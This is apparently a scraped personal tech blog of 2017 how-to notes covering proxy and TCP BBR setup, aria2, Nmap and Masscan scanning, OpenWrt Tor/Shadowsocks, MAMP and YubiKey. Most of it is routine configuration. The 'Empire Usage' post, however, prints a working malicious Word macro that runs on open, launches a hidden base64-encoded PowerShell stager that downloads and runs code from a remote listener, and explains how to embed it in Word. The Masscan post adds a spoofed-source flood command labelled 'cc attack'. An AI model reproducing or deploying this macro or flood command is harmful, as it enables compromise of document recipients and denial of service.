Google TCPBBR With Shadowsocksr

Posted on 2017-06-21

Google TCPBBR

CentOS 6+，Debian 7+，Ubuntu 12+

> wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.11/linux-headers-4.11.0-041100_4.11.0-041100.201705041534_all.deb
> dpkg -i linux-image-4.*.deb
> update-grub
> reboot
> modprobe tcp_bbr
> echo "tcp_bbr" >> /etc/modules-load.d/modules.conf
> echo "net.core.default_qdisc=fq" >> /etc/sysctl.conf
> echo "net.ipv4.tcp_congestion_control=bbr" >> /etc/sysctl.conf
> sysctl -p
> sysctl net.ipv4.tcp_available_congestion_control
> sysctl net.ipv4.tcp_congestion_control

or quick install via bash script

> wget -N --no-check-certificate https://github.com/teddysun/across/raw/master/bbr.sh && chmod +x bbr.sh && bash bbr.sh
> uname -r  # if have 4.9.0 success install
> sysctl net.ipv4.tcp_available_congestion_control
> sysctl net.ipv4.tcp_congestion_control
> sysctl net.core.default_qdisc
> lsmod | grep bbr    # have bbr success install

Server

1 2	> apt-get install git > git clone https://github.com/shadowsocksr/shadowsocksr

Debian / Ubuntu:

1 2	> apt-get install git > git clone https://github.com/shadowsocksr/shadowsocksr.git

CentOS:

1 2	> yum install git > git clone https://github.com/shadowsocksr/shadowsocksr.git

Windows:

1	> git clone https://github.com/shadowsocksr/shadowsocksr.git

1
2
3

> cd shadowsocksr && bash initcfg.sh
> cd ~/shadowsocksr/shadowsocks
> python server.py -p 443 -k password -m aes-128-cfb -O auth_chain_a -o tls1.2_ticket_auth -d start

Client

Android APP: SSR-android

iOS APP： Shadowrocket, Potatso2

MAC APP：ShadowsocksX-NG-R8

其它跨平台分支：avege, electron-ssr

Speed Setting

> vi /etc/security/limits.conf  # add line to file
*   soft    nofile  512000
*   hard    nofile  1024000
> vi /etc/profile   # add line to file
ulimit -SHn 1024000
> reboot
> ulimit -n     # if return 1024000 success
> vi /etc/sysctl.conf
# turn on TCP Fast Open on both client and server side
net.ipv4.tcp_fastopen = 3
> vi /etc/shadowsocks.json  # edit false to true
"fast_open": true
> apt-get install python-m2crypto
> pip install M2Crypto --upgrade
> apt-get install python-dev libevent-dev python-setuptools python-gevent
easy_install greenlet gevent

Docker: https://hub.docker.com/r/breakwa11/shadowsocksr/

Ubuntu16.04.2 network not work

Posted on 2017-05-02

Create a new template

右上角网络连接>>编辑连接>>增加>>
以太网 >> 1) 填写连接名称：ethernet
          2) 选择设备
802.1X安全性 >> 
	1) 勾选对此连接使用802.1X安全配置
	2) 认证选择受保护的EAP(PEAP)
	3) 勾选不需要CA证书(R)
	4) 内部认证>>MSCHAPv2
	5) 输入帐号和密码
IPv4 >> 勾选需要IPv4地址完成这个连接

setting

sudo cat /etc/NetworkManager/system-connections/ethernet

[connection]
id=ethernet
uuid=9e123fbc-0123-46e3-97b5-f3214e123456
type=ethernet
interface-name=eno1
permissions=
secondaries=

[ethernet]
duplex=full
mac-address=0A:12:3C:DA:C1:A5
mac-address-blacklist=

[802-1x]
altsubject-matches=
eap=peap;
identity=username   # replace you login username
password=password   # replace you login password
phase2-altsubject-matches=
phase2-auth=mschapv2
system-ca-certs=true

[ipv4]
dns-search=
may-fail=false
method=auto

[ipv6]
addr-gen-mode=stable=privacy
dns-search=
ip6-privacy=0
method=auto

Aria2 Usage

Posted on 2017-04-11

0x01 Install

1	> brew install aria2

0x02 Setting

> mkdir ~/.aria2 && cd ~/.aria2
> touch aria2.conf
> vi aria2.conf     # add lines to aria2.conf
#用户名
#rpc-user=user
#密码
#rpc-passwd=passwd
#设置加密的密钥
#rpc-secret=secret
#允许rpc
enable-rpc=true
#允许所有来源, web界面跨域权限需要
rpc-allow-origin-all=true
#是否启用https加密，启用之后要设置公钥,私钥的文件路径
#rpc-secure=true
#启用加密设置公钥
#rpc-certificate=/home/name/.config/aria2/example.crt
#启用加密设置私钥
#rpc-private-key=/home/name/.config/aria2/example.key
#允许外部访问，false的话只监听本地端口
rpc-listen-all=false
#RPC端口, 仅当默认端口被占用时修改
#rpc-listen-port=6800
#最大同时下载数(任务数), 路由建议值: 3
max-concurrent-downloads=5
#断点续传
continue=true
#同服务器连接数
max-connection-per-server=5
#最小文件分片大小, 下载线程数上限取决于能分出多少片, 对于小文件重要
min-split-size=10M
#单文件最大线程数, 路由建议值: 5
split=10
#下载速度限制
max-overall-download-limit=0
#单文件速度限制
max-download-limit=0
#上传速度限制
max-overall-upload-limit=0
#单文件速度限制
max-upload-limit=0
#断开速度过慢的连接
#lowest-speed-limit=0
#验证用，需要1.16.1之后的release版本
#referer=*
#文件保存路径, 默认为当前启动位置
dir=/Users/hostname/Downloads
#文件缓存, 使用内置的文件缓存, 如果你不相信Linux内核文件缓存和磁盘内置缓存时使用, 需要1.16及以上版本
#disk-cache=0
#另一种Linux文件缓存方式, 使用前确保您使用的内核支持此选项, 需要1.15及以上版本(?)
#enable-mmap=true
#文件预分配, 能有效降低文件碎片, 提高磁盘性能. 缺点是预分配时间较长
#所需时间 none < falloc ? trunc << prealloc, falloc和trunc需要文件系统和内核支持
file-allocation=none
#不进行证书校验
check-certificate=false

0x03 Run

> aria2c    #so open Aria2GUI.app to add file download
or
> aria2c http://www.example.com/test.zip    # download http
> aria2c file1.torrent      # download torrent
> aria2c "magnet:?xt=urn:btih:248D0A1CD08284299DE78D5C1ED359BB46717D8C&dn=aria2"  # download magnet

Empire Usage

Posted on 2017-03-25

> python empire

====================================================================================
 Empire: PowerShell post-exploitation agent | [Version]: 1.6.0
====================================================================================
 [Web]: https://www.PowerShellEmpire.com/ | [Twitter]: @harmj0y, @sixdub, @enigma0x3
====================================================================================

   _______ .___  ___. .______    __  .______       _______
  |   ____||   \/   | |   _  \  |  | |   _  \     |   ____|
  |  |__   |  \  /  | |  |_)  | |  | |  |_)  |    |  |__
  |   __|  |  |\/|  | |   ___/  |  | |      /     |   __|
  |  |____ |  |  |  | |  |      |  | |  |\  \----.|  |____
  |_______||__|  |__| | _|      |__| | _| `._____||_______|


       180 modules currently loaded

       1 listeners currently active

       0 agents currently active

(Empire) > listeners
[!] No listeners currently active
(Empire: listeners) > execute
(Empire: listeners) > usestager macro test
(Empire: stager/macro) > execute
[*] Stager output written out to: /tmp/macro

(Empire: stager/macro) > [+] Initial agent 1EBMCTEWVZDNM13U from 192.168.1.205 now active
(Empire: stager/macro) > agents

[*] Active agents:

  Name               Internal IP     Machine Name    Username            Process             Delay    Last Seen
  ---------          -----------     ------------    ---------           -------             -----    --------------------
  1EBMCTEWVZDNM13U   192.168.1.205   WIN             *WIN\hello         powershell/4272     5/0.0    2017-03-25 20:27:37

> cat /tmp/macro

Sub AutoOpen()
	Debugging
End Sub

Sub Document_Open()
	Debugging
End Sub

Public Function Debugging() As Variant
	Dim Str As String
	str = "powershell.exe -NoP -sta -NonI -W Hidden -Enc WwBT"
	str = str + "AFkAcwB0AGUAbQAuAE4ARQB0AC4AUwBFAFIAVgBpAGMARQBQAG"
	str = str + "8ASQBOAHQATQBBAE4AQQBnAGUAUgBdADoAOgBFAHgAUABFAEMA"
	str = str + "VAAxADAAMABDAG8AbgB0AEkATgBVAEUAIAA9ACAAMAA7ACQAVw"
	str = str + "BDAD0ATgBFAFcALQBPAGIASgBlAGMAdAAgAFMAWQBzAHQARQBN"
	str = str + "AC4ATgBFAFQALgBXAGUAYgBDAGwAaQBlAE4AdAA7ACQAdQA9AC"
	str = str + "cATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8A"
	str = str + "dwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVA"
	str = str + "ByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAw"
	str = str + "ACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAFcAYwAuAE"
	str = str + "gARQBBAGQAZQBSAFMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEA"
	str = str + "ZwBlAG4AdAAnACwAJAB1ACkAOwAkAFcAYwAuAFAAcgBPAFgAeQ"
	str = str + "AgAD0AIABbAFMAWQBTAFQARQBNAC4ATgBlAFQALgBXAEUAYgBS"
	str = str + "AEUAUQBVAGUAUwB0AF0AOgA6AEQARQBmAEEAdQBMAHQAVwBlAE"
	str = str + "IAUAByAE8AeAB5ADsAJAB3AGMALgBQAHIATwB4AHkALgBDAHIA"
	str = str + "ZQBkAEUATgB0AEkAYQBsAFMAIAA9ACAAWwBTAHkAUwBUAGUATQ"
	str = str + "AuAE4AZQBUAC4AQwBSAGUARABFAE4AVABJAEEATABDAEEAQwBo"
	str = str + "AGUAXQA6ADoARABlAEYAYQBVAEwAdABOAGUAdAB3AE8AcgBLAE"
	str = str + "MAcgBlAEQAZQBOAFQAaQBhAEwAUwA7ACQASwA9ACcAVABFAGMA"
	str = str + "ewBZAEAAXgBMAEkASgB4AFYAZwAxAHAAWgBhADIAVQAzAEYAaQ"
	str = str + "BOAEgAXQBgAD8AcgBCAHUAJQAqACcAOwAkAGkAPQAwADsAWwBj"
	str = str + "AEgAQQBSAFsAXQBdACQAQgA9ACgAWwBjAEgAQQBSAFsAXQBdAC"
	str = str + "gAJAB3AGMALgBEAE8AVwBOAEwAbwBhAGQAUwBUAFIASQBuAGcA"
	str = str + "KAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALg"
	str = str + "AyADAANgA6ADgAMAA4ADAALwBpAG4AZABlAHgALgBhAHMAcAAi"
	str = str + "ACkAKQApAHwAJQB7ACQAXwAtAGIAWABPAHIAJABrAFsAJABJAC"
	str = str + "sAKwAlACQAawAuAEwARQBOAEcAdABIAF0AfQA7AEkARQBYACAA"
	str = str + "KAAkAEIALQBKAE8ASQBuACcAJwApAA=="
	Const HIDDEN_WINDOW = 0
	strComputer = "."
	Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
	Set objStartup = objWMIService.Get("Win32_ProcessStartup")
	Set objConfig = objStartup.SpawnInstance_
	objConfig.ShowWindow = HIDDEN_WINDOW
	Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
	objProcess.Create str, Null, objConfig, intProcessID
End Function

打开Word>>视图>>宏>>查看宏>>输入宏名>>创建>>输入macro中内容>>保存

Port Scanner via Nmap && Masscan

Posted on 2017-03-09

Install to Mac

1 2	> brew install nmap > brew install masscan

Nmap Usage

nmap -h

Nmap 7.40 ( https://nmap.org )
Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
  Can pass hostnames, IP addresses, networks, etc.
  Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
  -iL <inputfilename>: Input from list of hosts/networks
  -iR <num hosts>: Choose random targets
  --exclude <host1[,host2][,host3],...>: Exclude hosts/networks
  --excludefile <exclude_file>: Exclude list from file
HOST DISCOVERY:
  -sL: List Scan - simply list targets to scan
  -sn: Ping Scan - disable port scan
  -Pn: Treat all hosts as online -- skip host discovery
  -PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
  -PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
  -PO[protocol list]: IP Protocol Ping
  -n/-R: Never do DNS resolution/Always resolve [default: sometimes]
  --dns-servers <serv1[,serv2],...>: Specify custom DNS servers
  --system-dns: Use OS's DNS resolver
  --traceroute: Trace hop path to each host
SCAN TECHNIQUES:
  -sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
  -sU: UDP Scan
  -sN/sF/sX: TCP Null, FIN, and Xmas scans
  --scanflags <flags>: Customize TCP scan flags
  -sI <zombie host[:probeport]>: Idle scan
  -sY/sZ: SCTP INIT/COOKIE-ECHO scans
  -sO: IP protocol scan
  -b <FTP relay host>: FTP bounce scan
PORT SPECIFICATION AND SCAN ORDER:
  -p <port ranges>: Only scan specified ports
    Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9
  --exclude-ports <port ranges>: Exclude the specified ports from scanning
  -F: Fast mode - Scan fewer ports than the default scan
  -r: Scan ports consecutively - don't randomize
  --top-ports <number>: Scan <number> most common ports
  --port-ratio <ratio>: Scan ports more common than <ratio>
SERVICE/VERSION DETECTION:
  -sV: Probe open ports to determine service/version info
  --version-intensity <level>: Set from 0 (light) to 9 (try all probes)
  --version-light: Limit to most likely probes (intensity 2)
  --version-all: Try every single probe (intensity 9)
  --version-trace: Show detailed version scan activity (for debugging)
SCRIPT SCAN:
  -sC: equivalent to --script=default
  --script=<Lua scripts>: <Lua scripts> is a comma separated list of
           directories, script-files or script-categories
  --script-args=<n1=v1,[n2=v2,...]>: provide arguments to scripts
  --script-args-file=filename: provide NSE script args in a file
  --script-trace: Show all data sent and received
  --script-updatedb: Update the script database.
  --script-help=<Lua scripts>: Show help about scripts.
           <Lua scripts> is a comma-separated list of script-files or
           script-categories.
OS DETECTION:
  -O: Enable OS detection
  --osscan-limit: Limit OS detection to promising targets
  --osscan-guess: Guess OS more aggressively
TIMING AND PERFORMANCE:
  Options which take <time> are in seconds, or append 'ms' (milliseconds),
  's' (seconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m).
  -T<0-5>: Set timing template (higher is faster)
  --min-hostgroup/max-hostgroup <size>: Parallel host scan group sizes
  --min-parallelism/max-parallelism <numprobes>: Probe parallelization
  --min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <time>: Specifies
      probe round trip time.
  --max-retries <tries>: Caps number of port scan probe retransmissions.
  --host-timeout <time>: Give up on target after this long
  --scan-delay/--max-scan-delay <time>: Adjust delay between probes
  --min-rate <number>: Send packets no slower than <number> per second
  --max-rate <number>: Send packets no faster than <number> per second
FIREWALL/IDS EVASION AND SPOOFING:
  -f; --mtu <val>: fragment packets (optionally w/given MTU)
  -D <decoy1,decoy2[,ME],...>: Cloak a scan with decoys
  -S <IP_Address>: Spoof source address
  -e <iface>: Use specified interface
  -g/--source-port <portnum>: Use given port number
  --proxies <url1,[url2],...>: Relay connections through HTTP/SOCKS4 proxies
  --data <hex string>: Append a custom payload to sent packets
  --data-string <string>: Append a custom ASCII string to sent packets
  --data-length <num>: Append random data to sent packets
  --ip-options <options>: Send packets with specified ip options
  --ttl <val>: Set IP time-to-live field
  --spoof-mac <mac address/prefix/vendor name>: Spoof your MAC address
  --badsum: Send packets with a bogus TCP/UDP/SCTP checksum
OUTPUT:
  -oN/-oX/-oS/-oG <file>: Output scan in normal, XML, s|<rIpt kIddi3,
     and Grepable format, respectively, to the given filename.
  -oA <basename>: Output in the three major formats at once
  -v: Increase verbosity level (use -vv or more for greater effect)
  -d: Increase debugging level (use -dd or more for greater effect)
  --reason: Display the reason a port is in a particular state
  --open: Only show open (or possibly open) ports
  --packet-trace: Show all packets sent and received
  --iflist: Print host interfaces and routes (for debugging)
  --append-output: Append to rather than clobber specified output files
  --resume <filename>: Resume an aborted scan
  --stylesheet <path/URL>: XSL stylesheet to transform XML output to HTML
  --webxml: Reference stylesheet from Nmap.Org for more portable XML
  --no-stylesheet: Prevent associating of XSL stylesheet w/XML output
MISC:
  -6: Enable IPv6 scanning
  -A: Enable OS detection, version detection, script scanning, and traceroute
  --datadir <dirname>: Specify custom Nmap data file location
  --send-eth/--send-ip: Send using raw ethernet frames or IP packets
  --privileged: Assume that the user is fully privileged
  --unprivileged: Assume the user lacks raw socket privileges
  -V: Print version number
  -h: Print this help summary page.
EXAMPLES:
  nmap -v -A scanme.nmap.org
  nmap -v -sn 192.168.0.0/16 10.0.0.0/8
  nmap -v -iR 10000 -Pn -p 80
SEE THE MAN PAGE (https://nmap.org/book/man.html) FOR MORE OPTIONS AND EXAMPLES

NSE Categories

auth
broadcast
brute
default
discovery
dos
exploit
external
fuzzer
intrusive
malware
safe
version
vuln

> sudo nmap -sS -Pn -n -v -sn -T5 -iL ips.txt
> sudo nmap -sS -Pn -n -v --open -p 80 -sV -T5 -O --host-timeout=180000 -iL ips.txt
> wget https://raw.githubusercontent.com/maaaaz/nmaptocsv/master/nmaptocsv.py
> python nmaptocsv.py -i test.nmap -f ip-fqdn-port-protocol-service-version-os
or
> python nmaptocsv.py -i test.gnmap -f ip-fqdn-port-protocol-service-version-os

192.168.1.2;test.lan;135;tcp;msrpc;Microsoft Windows RPC;Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
192.168.1.2;test.lan;139;tcp;netbios-ssn;;Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
192.168.1.2;test.lan;445;tcp;netbios-ssn;;Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
192.168.1.2;test.lan;5357;tcp;http;Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP);Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)

Import Metasploit

msfconsole

1 2	msf > db_import test.xml msf > hosts

Masscan Using

masscan –nmap

Usage: masscan [Options] -p{Target-Ports} {Target-IP-Ranges}
TARGET SPECIFICATION:
  Can pass only IPv4 address, CIDR networks, or ranges (non-nmap style)
  Ex: 10.0.0.0/8, 192.168.0.1, 10.0.0.1-10.0.0.254
  -iL <inputfilename>: Input from list of hosts/networks
  --exclude <host1[,host2][,host3],...>: Exclude hosts/networks
  --excludefile <exclude_file>: Exclude list from file
  --randomize-hosts: Randomize order of hosts (default)
HOST DISCOVERY:
  -Pn: Treat all hosts as online (default)
  -n: Never do DNS resolution (default)
SCAN TECHNIQUES:
  -sS: TCP SYN (always on, default)
SERVICE/VERSION DETECTION:
  --banners: get the banners of the listening service if available. The
    default timeout for waiting to recieve data is 30 seconds.
PORT SPECIFICATION AND SCAN ORDER:
  -p <port ranges>: Only scan specified ports
    Ex: -p22; -p1-65535; -p 111,137,80,139,8080
TIMING AND PERFORMANCE:
  --max-rate <number>: Send packets no faster than <number> per second
  --connection-timeout <number>: time in seconds a TCP connection will
    timeout while waiting for banner data from a port.
FIREWALL/IDS EVASION AND SPOOFING:
  -S/--source-ip <IP_Address>: Spoof source address
  -e <iface>: Use specified interface
  -g/--source-port <portnum>: Use given port number
  --ttl <val>: Set IP time-to-live field
  --spoof-mac <mac address/prefix/vendor name>: Spoof your MAC address
OUTPUT:
  --output-format <format>: Sets output to binary/list/json/grepable/xml
  --output-file <file>: Write scan results to file. If --output-format is
     not given default is xml
  -oL/-oJ/-oG/-oB/-oX <file>: Output scan in List/JSON/Grepable/Binary/XML format,
     respectively, to the given filename. Shortcut for
     --output-format <format> --output-file <file>
  -v: Increase verbosity level (use -vv or more for greater effect)
  -d: Increase debugging level (use -dd or more for greater effect)
  --open: Only show open (or possibly open) ports
  --packet-trace: Show all packets sent and received
  --iflist: Print host interfaces and routes (for debugging)
  --append-output: Append to rather than clobber specified output files
  --resume <filename>: Resume an aborted scan
MISC:
  --send-eth: Send using raw ethernet frames (default)
  -V: Print version number
  -h: Print this help summary page.
EXAMPLES:
  masscan -v -sS 192.168.0.0/16 10.0.0.0/8 -p 80
  masscan 23.0.0.0/0 -p80 --banners -output-format binary --output-filename internet.scan
  masscan --open --banners --readscan internet.scan -oG internet_scan.grepable
SEE (https://github.com/robertdavidgraham/masscan) FOR MORE HELP

Other Setting

1 2	--wait <int>: wait time -oR <value>: setting redis connect 127.0.0.1:6379

1
2

> masscan 0.0.0.0/4 -p80 --rate 100000000 --router-mac 66-55-44-33-22-11
> masscan 10.1.2.3 -p80 --banners --rate 10000000 --repeat --source-address 192.168.1.0/8 --source-port 0-65535 --output-format null    # cc attack

Differences in Log Formats

	time	ip	port	state/status	ip_proto	reason	ttl	proto/service	owner	sunrpc	version	banner	cert
binary	yes	yes	yes	yes	yes	yes	yes	yes	n/a	n/a	n/a	yes	yes
xml	no	yes	yes	yes	yes	yes	yes	yes	n/a	n/a	n/a	yes	yes
grepable	no	yes	yes	yes	yes	no	no	yes	n/a	n/a	n/a	yes	yes
json	no	yes	yes	yes	yes	yes	yes	yes	n/a	n/a	n/a	yes	yes
null	n/a	n/a	n/a	n/a	n/a	n/a	n/a	n/a	n/a	n/a	n/a	n/a	n/a
redis	no	yes	yes	no	yes	no	no	no	n/a	n/a	n/a	no	no
text	yes	yes	yes	yes	yes	no	no	yes	n/a	n/a	n/a	yes	yes
unicornscan	no	yes	yes	yes	yes	no	yes	no	n/a	n/a	n/a	no	no

Capabilities and samples

binary
xml
grepable
json
null
redis
text (a.k.a. "list")
unicornscan

import to redis

1	> sudo masscan -p8899,8088,5566 119.97.243.42 --output-format redis -oR 127.0.0.1:6379

redis-cli

127.0.0.1:6379> keys *
1) "192.168.1.10:8080/tcp"
2) "192.168.1.10:80/tcp"
3) "host"
4) "192.168.1.10"
5) "192.168.1.10:8181/tcp"

Openwrt install Tor Proxy

Posted on 2017-02-26

1 2	> opkg update > opkg install tor

root@OpenWrt:~# vi /etc/tor/torrc

RunAsDaemon 0  
DataDirectory /var/lib/tor  
User tor  
Socks5Proxy 127.0.0.1:1080
SocksPort 0.0.0.0:9050  
TransPort 0.0.0.0:9040  
DNSPort 0.0.0.0:53  
AvoidDiskWrites 1

root@OpenWrt:~# vi /etc/config/dhcp

1
2
3

config dnsmasq
       option noresolv '1'
       list server '127.0.0.1#53'

root@OpenWrt:~# /etc/init.d/tor stop
root@OpenWrt:~# tor

Openwrt install Shadowsocks auto Proxy

Posted on 2017-02-26

> opkg update
> opkg install ip ip-full iptables-mod-tproxy ipset libopenssl iptables-mod-tproxy
> wget https://github.com/aa65535/openwrt-chinadns/releases/download/v1.3.2-4/ChinaDNS_1.3.2-4_ar71xx.ipk
> wget https://github.com/aa65535/openwrt-dist-luci/releases/download/v1.6.0/luci-app-chinadns_1.6.0-1_all.ipk
> opkg install *.ipk

ChinaDNS

Services >> ChinaDNS

header 1	header 2
Enable	☑️
Enable Bidirectional Filter	☑️ help Also filter results inside China from foreign DNS servers
Local Port	5353
CHNRoute File	/etc/chinadns_chnroute.txt
Upstream Servers	180.76.76.76,8.8.4.4

root@OpenWrt:~# crontab -e

1	0 0 * * * wget -O- 'http://ftp.apnic.net/apnic/stats/apnic/delegated-apnic-latest' \| awk -F\\| '/CN\\|ipv4/ { printf("%s/%d\n", $4, 32-log($5)/log(2)) }' > /etc/chinadns_chnroute.txt

Shadowsocks

Services >> ShadowSocks >> General Settings >> Transparent Proxy

header 1	header 2
Main Server	[Shadowsocks server IP:Port]
UDP-Relay Server	Same as Main Server
Local Port	1234

Services >> ShadowSocks >> SOCKS5 Proxy

header 1	header 2
Server	[Shadowsocks Server IP:Server Port]
Local Port	1080

Services >> ShadowSocks >> Servers Manage >> Edit

header 1	header 2
Server	[Shadowsocks IP]
Server Port	[Shadowsocks Port]
Connection Timeout	60
Password	password
Encrypt Method	AES-256-CFB
Plugin Name
Plugin Arguments

Mac OSX install MAMP mongo-php-driver

Posted on 2017-02-25

1
2
3

> brew install openssl autoconf
> echo 'export PATH="/usr/local/opt/openssl/bin:$PATH"' >> ~/.zshrc
> sudo /Applications/MAMP/bin/php/php5.6.10/bin/pecl install mongodb

open MAMP Pro > File > Edit Template > PHP > php5.6.10.ini

MAMP_apc_MAMP
extension=imap.so
extension=gettext.so
extension=mcrypt.so
extension=yaz.so
extension=pgsql.so
extension=pdo_pgsql.so
extension=mongodb.so

open http://127.0.0.1/phpinfo.php grep mongodb

running: phpize
grep: /Applications/MAMP/bin/php/php5.6.10/include/php/main/php.h: No such file or directory
grep: /Applications/MAMP/bin/php/php5.6.10/include/php/Zend/zend_modules.h: No such file or directory
grep: /Applications/MAMP/bin/php/php5.6.10/include/php/Zend/zend_extensions.h: No such file or directory

fix

1	sudo ln -s /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/ /Applications/MAMP/bin/php/php5.6.10/include

private/tmp/pear/install/mongodb/src/libbson/src/bson/ -DHAVE_CONFIG_H -g -O2 -D_THREAD_SAFE -pthread -c /private/tmp/pear/install/mongodb/src/libmongoc/src/mongoc/mongoc-crypto-openssl.c  -fno-common -DPIC -o src/libmongoc/src/mongoc/.libs/mongoc-crypto-openssl.o
/private/tmp/pear/install/mongodb/src/libmongoc/src/mongoc/mongoc-crypto-openssl.c:24:10: fatal error: 'openssl/sha.h' file not found
#include <openssl/sha.h>
         ^
1 error generated.

fix

1 2	> cd /usr/local/include > ln -s ../opt/openssl/include/openssl .

HackRF for Mac OSX

Posted on 2017-02-03

0x01 Install Tools

1	> brew install libusb sox hackrf gnuradio librtlsdr

Yubikey4 Two-factor authentication

Posted on 2017-02-03

1 2	> brew install libyubikey pam_yubico yubico-piv-tool Caskroom/cask/yubikey-piv-manager

关闭osx sip机制

重启按住Command + R进入重置模式>>选择语言>>实用工具>>终端,输入如下命令关闭

1	> csrutil disable

反之开启命令：

1	> csrutil enable

插入yubico4，打开YubiKey PIV Manager
点击Setup for macOS设置PIN

下载

pam_yubico

yubikey-personalization-gui

> sudo ln -s /usr/local/Cellar/pam_yubico/2.23/lib/security/pam_yubico.so /usr/local/lib/security/pam_yubico.so
> sudo vi /etc/pam.d/authorization
# authorization: auth account
auth    optional    pam_krb5.so use_first_pass use_kcminit
auth    optional    pam_ntlm.so use_first_pass
auth    required    pam_opendirectory.so use_first_pass nullok
auth    required    /usr/local/lib/security/pam_yubico.so mode=challenge-response
auth    required    pam_opendirectory.so

重启电脑输入PIN密码